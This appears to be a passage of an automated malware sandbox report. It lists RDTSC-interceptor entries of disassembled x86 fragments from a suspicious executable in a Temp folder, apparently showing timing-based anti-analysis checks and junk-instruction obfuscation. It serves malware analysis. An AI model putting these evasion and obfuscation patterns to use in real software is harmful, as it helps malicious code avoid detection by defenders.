Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 1051D2B second address: 1051D3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FB168B06446h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jns 00007FB168B06446h 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 1051D3E second address: 1051DA0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB16943CCA2h 0x00000007 jmp 00007FB16943CC9Ch 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 jmp 00007FB16943CC9Ah 0x00000016 pop edx 0x00000017 jmp 00007FB16943CCA2h 0x0000001c popad 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007FB16943CCA3h 0x00000024 push eax 0x00000025 push edx 0x00000026 push esi 0x00000027 pop esi 0x00000028 jng 00007FB16943CC96h 0x0000002e rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 1051DA0 second address: 1051DA4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 1051DA4 second address: 1051DAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 1052094 second address: 10520B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB168B0644Eh 0x00000009 jmp 00007FB168B06451h 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 1056BEA second address: 1056BF0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 1056BF0 second address: 1056BF4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 1056BF4 second address: 1056C29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FB16943CCA1h 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007FB16943CC9Eh 0x00000013 popad 0x00000014 pop edx 0x00000015 pop eax 0x00000016 push edx 0x00000017 pushad 0x00000018 jno 00007FB16943CC96h 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 1059014 second address: 1059018 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 1059018 second address: 105901C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 105901C second address: 1059022 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 105DA5A second address: 105DA6F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FB16943CC9Fh 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 105CE4B second address: 105CE51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 105CE51 second address: 105CE76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB16943CCA6h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jnl 00007FB16943CC96h 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 105CE76 second address: 105CE7A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 105CE7A second address: 105CE8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 je 00007FB16943CCB0h 0x0000000c push ecx 0x0000000d jng 00007FB16943CC96h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 105CE8F second address: 105CE99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 105D52E second address: 105D539 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 105D539 second address: 105D541 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 105D541 second address: 105D55A instructions: 0x00000000 rdtsc 0x00000002 jns 00007FB16943CC9Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b jl 00007FB16943CC9Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 105D6DA second address: 105D6F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jne 00007FB168B06446h 0x0000000c popad 0x0000000d jp 00007FB168B06471h 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 105D6F3 second address: 105D6F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 105D8CB second address: 105D8D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 105D8D0 second address: 105D8D9 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 105EEAD second address: 105EEBB instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 105EEBB second address: 105EEBF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 105EF40 second address: 105EF87 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 add dword ptr [esp], 0A13A2A3h 0x0000000e call 00007FB168B06449h 0x00000013 jc 00007FB168B0644Ah 0x00000019 push eax 0x0000001a jmp 00007FB168B06456h 0x0000001f mov eax, dword ptr [esp+04h] 0x00000023 je 00007FB168B06450h 0x00000029 pushad 0x0000002a push esi 0x0000002b pop esi 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 105EF87 second address: 105EFB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov eax, dword ptr [eax] 0x00000007 push esi 0x00000008 jmp 00007FB16943CC9Fh 0x0000000d pop esi 0x0000000e mov dword ptr [esp+04h], eax 0x00000012 push eax 0x00000013 pushad 0x00000014 jmp 00007FB16943CC9Ch 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 105FD4E second address: 105FD67 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB168B06452h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 1060009 second address: 1060010 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 1060010 second address: 1060016 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 1060016 second address: 106001A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 106001A second address: 106001E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10604BD second address: 10604DC instructions: 0x00000000 rdtsc 0x00000002 jg 00007FB16943CC96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c jmp 00007FB16943CC9Fh 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10604DC second address: 10604E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10604E0 second address: 10604E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 1062ADA second address: 1062B58 instructions: 0x00000000 rdtsc 0x00000002 je 00007FB168B06448h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f add dword ptr [ebp+122D191Ah], ecx 0x00000015 or edi, 29B2BF71h 0x0000001b push 00000000h 0x0000001d push 00000000h 0x0000001f push ebp 0x00000020 call 00007FB168B06448h 0x00000025 pop ebp 0x00000026 mov dword ptr [esp+04h], ebp 0x0000002a add dword ptr [esp+04h], 00000014h 0x00000032 inc ebp 0x00000033 push ebp 0x00000034 ret 0x00000035 pop ebp 0x00000036 ret 0x00000037 mov esi, dword ptr [ebp+122D1870h] 0x0000003d push 00000000h 0x0000003f push 00000000h 0x00000041 push edi 0x00000042 call 00007FB168B06448h 0x00000047 pop edi 0x00000048 mov dword ptr [esp+04h], edi 0x0000004c add dword ptr [esp+04h], 0000001Ch 0x00000054 inc edi 0x00000055 push edi 0x00000056 ret 0x00000057 pop edi 0x00000058 ret 0x00000059 mov di, si 0x0000005c jng 00007FB168B06447h 0x00000062 cmc 0x00000063 xchg eax, ebx 0x00000064 jnc 00007FB168B06458h 0x0000006a push eax 0x0000006b push edx 0x0000006c jp 00007FB168B06446h 0x00000072 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 1064A91 second address: 1064A96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10652EA second address: 10652F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 1067419 second address: 106743D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB16943CCA6h 0x00000009 pop edi 0x0000000a pushad 0x0000000b jno 00007FB16943CC96h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 106743D second address: 1067481 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 jmp 00007FB168B06459h 0x0000000e pushad 0x0000000f popad 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 popad 0x00000013 pushad 0x00000014 push edi 0x00000015 pop edi 0x00000016 jmp 00007FB168B06458h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 1067481 second address: 1067486 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 1067486 second address: 1067496 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007FB168B06446h 0x0000000a jne 00007FB168B06446h 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 106B103 second address: 106B109 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 106B109 second address: 106B10D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 106B10D second address: 106B194 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push edi 0x0000000e call 00007FB16943CC98h 0x00000013 pop edi 0x00000014 mov dword ptr [esp+04h], edi 0x00000018 add dword ptr [esp+04h], 00000019h 0x00000020 inc edi 0x00000021 push edi 0x00000022 ret 0x00000023 pop edi 0x00000024 ret 0x00000025 push 00000000h 0x00000027 xor ebx, 560BF187h 0x0000002d push 00000000h 0x0000002f push 00000000h 0x00000031 push edi 0x00000032 call 00007FB16943CC98h 0x00000037 pop edi 0x00000038 mov dword ptr [esp+04h], edi 0x0000003c add dword ptr [esp+04h], 0000001Dh 0x00000044 inc edi 0x00000045 push edi 0x00000046 ret 0x00000047 pop edi 0x00000048 ret 0x00000049 cld 0x0000004a cld 0x0000004b xchg eax, esi 0x0000004c pushad 0x0000004d jmp 00007FB16943CCA4h 0x00000052 jnc 00007FB16943CC98h 0x00000058 popad 0x00000059 push eax 0x0000005a push eax 0x0000005b push edx 0x0000005c push eax 0x0000005d push edx 0x0000005e jno 00007FB16943CC96h 0x00000064 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 106B194 second address: 106B19A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 106B19A second address: 106B1A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 106B2DB second address: 106B2DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 106D049 second address: 106D06D instructions: 0x00000000 rdtsc 0x00000002 ja 00007FB16943CC98h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c pushad 0x0000000d jmp 00007FB16943CCA3h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 106DFF2 second address: 106DFF9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 106D238 second address: 106D23F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 106DFF9 second address: 106E00E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FB168B0644Bh 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 106E00E second address: 106E066 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 call 00007FB16943CCA4h 0x0000000e jbe 00007FB16943CC9Ch 0x00000014 pop ebx 0x00000015 push 00000000h 0x00000017 push 00000000h 0x00000019 push ebx 0x0000001a call 00007FB16943CC98h 0x0000001f pop ebx 0x00000020 mov dword ptr [esp+04h], ebx 0x00000024 add dword ptr [esp+04h], 00000015h 0x0000002c inc ebx 0x0000002d push ebx 0x0000002e ret 0x0000002f pop ebx 0x00000030 ret 0x00000031 push 00000000h 0x00000033 cmc 0x00000034 mov edi, dword ptr [ebp+12455A5Dh] 0x0000003a push eax 0x0000003b push esi 0x0000003c push eax 0x0000003d push edx 0x0000003e push edi 0x0000003f pop edi 0x00000040 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 106FF7D second address: 106FF9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 push ebx 0x00000009 jmp 00007FB168B06451h 0x0000000e pop ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 push edi 0x00000012 pop edi 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 106F06C second address: 106F070 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 106F070 second address: 106F0FE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push ebx 0x0000000d call 00007FB168B06448h 0x00000012 pop ebx 0x00000013 mov dword ptr [esp+04h], ebx 0x00000017 add dword ptr [esp+04h], 00000019h 0x0000001f inc ebx 0x00000020 push ebx 0x00000021 ret 0x00000022 pop ebx 0x00000023 ret 0x00000024 push dword ptr fs:[00000000h] 0x0000002b push 00000000h 0x0000002d push ecx 0x0000002e call 00007FB168B06448h 0x00000033 pop ecx 0x00000034 mov dword ptr [esp+04h], ecx 0x00000038 add dword ptr [esp+04h], 0000001Dh 0x00000040 inc ecx 0x00000041 push ecx 0x00000042 ret 0x00000043 pop ecx 0x00000044 ret 0x00000045 mov dword ptr fs:[00000000h], esp 0x0000004c jns 00007FB168B0644Dh 0x00000052 mov eax, dword ptr [ebp+122D1049h] 0x00000058 mov edi, 567E34B7h 0x0000005d push FFFFFFFFh 0x0000005f clc 0x00000060 nop 0x00000061 push eax 0x00000062 push edx 0x00000063 push eax 0x00000064 push edx 0x00000065 jmp 00007FB168B06450h 0x0000006a rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 1070EDE second address: 1070F3F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jbe 00007FB16943CC96h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d pushad 0x0000000e movsx edi, di 0x00000011 mov ch, BAh 0x00000013 popad 0x00000014 push 00000000h 0x00000016 push 00000000h 0x00000018 push ebx 0x00000019 call 00007FB16943CC98h 0x0000001e pop ebx 0x0000001f mov dword ptr [esp+04h], ebx 0x00000023 add dword ptr [esp+04h], 00000016h 0x0000002b inc ebx 0x0000002c push ebx 0x0000002d ret 0x0000002e pop ebx 0x0000002f ret 0x00000030 push 00000000h 0x00000032 push 00000000h 0x00000034 push edx 0x00000035 call 00007FB16943CC98h 0x0000003a pop edx 0x0000003b mov dword ptr [esp+04h], edx 0x0000003f add dword ptr [esp+04h], 00000016h 0x00000047 inc edx 0x00000048 push edx 0x00000049 ret 0x0000004a pop edx 0x0000004b ret 0x0000004c mov dword ptr [ebp+1245DB46h], edx 0x00000052 xchg eax, esi 0x00000053 push eax 0x00000054 push edx 0x00000055 push eax 0x00000056 push ebx 0x00000057 pop ebx 0x00000058 pop eax 0x00000059 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 106F0FE second address: 106F10C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB168B0644Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 106F10C second address: 106F112 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 1070F3F second address: 1070F45 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 1071FF5 second address: 107209C instructions: 0x00000000 rdtsc 0x00000002 js 00007FB16943CCA1h 0x00000008 jmp 00007FB16943CC9Bh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov dword ptr [esp], eax 0x00000012 mov ebx, ecx 0x00000014 push 00000000h 0x00000016 push 00000000h 0x00000018 push eax 0x00000019 call 00007FB16943CC98h 0x0000001e pop eax 0x0000001f mov dword ptr [esp+04h], eax 0x00000023 add dword ptr [esp+04h], 00000016h 0x0000002b inc eax 0x0000002c push eax 0x0000002d ret 0x0000002e pop eax 0x0000002f ret 0x00000030 pushad 0x00000031 mov dword ptr [ebp+12483BBFh], ecx 0x00000037 mov cx, bx 0x0000003a popad 0x0000003b pushad 0x0000003c xor dword ptr [ebp+12464C5Dh], esi 0x00000042 jng 00007FB16943CC9Ch 0x00000048 popad 0x00000049 push 00000000h 0x0000004b push 00000000h 0x0000004d push edi 0x0000004e call 00007FB16943CC98h 0x00000053 pop edi 0x00000054 mov dword ptr [esp+04h], edi 0x00000058 add dword ptr [esp+04h], 0000001Dh 0x00000060 inc edi 0x00000061 push edi 0x00000062 ret 0x00000063 pop edi 0x00000064 ret 0x00000065 mov dword ptr [ebp+122D1E52h], eax 0x0000006b xchg eax, esi 0x0000006c push eax 0x0000006d push edx 0x0000006e pushad 0x0000006f jmp 00007FB16943CCA6h 0x00000074 jng 00007FB16943CC96h 0x0000007a popad 0x0000007b rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 107209C second address: 10720A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10720A2 second address: 10720A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10720A6 second address: 10720BD instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FB168B06446h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edi 0x0000000e pushad 0x0000000f jl 00007FB168B06446h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 1073031 second address: 1073037 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 1073037 second address: 107303B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 1077188 second address: 10771FB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB16943CC9Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a nop 0x0000000b add dword ptr [ebp+122D17DEh], edx 0x00000011 push 00000000h 0x00000013 push 00000000h 0x00000015 push edi 0x00000016 call 00007FB16943CC98h 0x0000001b pop edi 0x0000001c mov dword ptr [esp+04h], edi 0x00000020 add dword ptr [esp+04h], 00000018h 0x00000028 inc edi 0x00000029 push edi 0x0000002a ret 0x0000002b pop edi 0x0000002c ret 0x0000002d push 00000000h 0x0000002f sub bx, 1FA1h 0x00000034 xchg eax, esi 0x00000035 jmp 00007FB16943CC9Fh 0x0000003a push eax 0x0000003b pushad 0x0000003c jnc 00007FB16943CC98h 0x00000042 push eax 0x00000043 push edx 0x00000044 jmp 00007FB16943CCA8h 0x00000049 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10781C6 second address: 10781CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
